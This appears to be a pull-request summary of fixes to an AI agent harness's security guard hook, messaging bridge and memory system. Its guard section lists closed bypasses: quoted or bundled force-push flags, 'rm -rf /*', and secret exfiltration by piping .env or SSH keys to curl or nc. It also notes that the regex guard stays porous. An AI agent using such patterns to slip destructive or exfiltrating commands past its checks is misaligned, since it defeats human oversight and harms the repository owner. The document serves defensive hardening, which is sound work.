Summary

An audit across three subsystems — the PreToolUse security guard, the Telegram bridge, and the memory system — turned up a set of concrete bugs. Every finding was reproduced by running the affected code before fixing, and each fix ships with a regression test where the harness supports one. All suites are green: guard 160, bridge 110, memory 95 (74 + 15 + 6), harness validation PASS.

Guard (security) — bypasses & false positives closed

Verified by running guard.sh; 28 regression cases added.

Bypasses (were ALLOW → now DENY)

• Force-push to a protected branch hidden behind quotes (git push "--force" origin main, origin "+main"), bundled short flags (-fv, -fu), or fully-qualified refs (refs/heads/main, HEAD:refs/heads/main). Force detection now runs on the quote-stripped view; the short-flag regex matches f anywhere in a cluster; dsts are normalized before the protected-list check.
• rm -rf /* and rm -rf ${HOME} (trailing anchor accepts *; ${HOME} matched alongside $HOME).
• Tag-push / publish through git global options (git -C /repo push origin --tags) and alternate package managers (yarn/pnpm publish).
• Secret exfil via read-then-pipe (cat .env | curl @-, base64 key | nc host) — detection is now order-independent and covers ed25519/ecdsa/dsa SSH private keys.

False positives (were DENY → now ALLOW)

• Legit feature-branch force-push through -C/-c (the adjacency wc -l gate made the relaxation unreachable).
• Ordinary API calls to URLs containing secret/token (bare-word match dropped; only credential files gate).
• Pushing a public key out (.pub/.pub.pem neutralized before the match).
• Bare word replay (e.g. grep replay app.log) and db:migrate substring (grep db:migrate Makefile) — both scoped to real invocations.

Bridge

• task_queue: identity-guard the per-key active slot. With up to max_inflight concurrent tasks per key, an earlier task finishing used to pop the shared _active slot unconditionally, erasing a later still-running task so priority /stop and /revert could no longer cancel it. (+ regression test)
• streaming: bail update_if_needed when the first draft send fails. An empty drafts plus a chunk >= max_bubble_chars entered the overflow while, where handle_overflow returns immediately without consuming text or awaiting — a busy-loop that hung the whole event loop.
• streaming: update_draft now catches non-Telegram exceptions like create_draft does, so a transport error mid-edit can't abort the reader loop.
• sdk_text: tolerate explicit null questions/options in AskUserQuestion instead of raising TypeError.
• ui: fall back to the computed position when a history record lacks index (a malformed entry no longer blanks /revert), and assume UTC for tz-naive timestamps.
• orphan_reaper: detect via argv boundaries (NUL-split /proc/<pid>/cmdline) so a node binary under a spaced path is still reaped. (+ regression test)

Memory system

• index: only advance updated_at when a doc's content actually changed. The unconditional CURRENT_TIMESTAMP on every (background-triggered) re-index re-timestamped every doc to ~now, so search-side recency_boost was a uniform constant that never affected ranking.
• search: guard the CCC_MEMORY_SEARCH_LIMIT int parse (malformed/non-positive → fallback 5) instead of a traceback; align _chash's charset with char_ngrams so predominantly Japanese/Chinese content gets a usage key.
• check.sh: printf '-1' emitted nothing (parsed as a flag), breaking --json and inverting the cache-health report on a fresh node — now printf '%s' '-1'. Also resolve the honcho base from the nested .hosts.hermes.baseUrl schema and use per-source TTL in status_for.
• install-memory-refresh-cron.sh: mkdir -p the log dir on --apply so the cron redirect doesn't fail before the refresh runs.
• load-memory.sh: reserve room for the truncation marker so injected context stays within CCC_MEMORY_MAX_BYTES (it overshot by ~38 bytes).

Test plan

• bash claude/hooks/guard.test.sh → PASS=160
• python3 -m pytest bridge/tests/… (pure-logic subset) → 110 passed
• bash scripts/ccc-memory.test.sh → PASS=74; install-memory-refresh-cron.test.sh → PASS=15; claude/hooks/memory-hooks.test.sh → PASS=6
• bash scripts/validate-harness.sh → PASS

Known limitations (deliberately not fixed)

• orphan_reaper PID-reuse TOCTOU between scan and SIGTERM — inherent race, mitigated by the 30-min age gate; no clean fix without pidfd.
• Secret-exfil gate does not add .pem/.key certs to avoid gating legitimate cert deployment; a regex guard is inherently porous, so least-privilege / network policy remains the real boundary.

🤖 Generated with Claude Code

https://claude.ai/code/session_017rAPKfsLfaYqNY8iPXWX34

Generated by Claude Code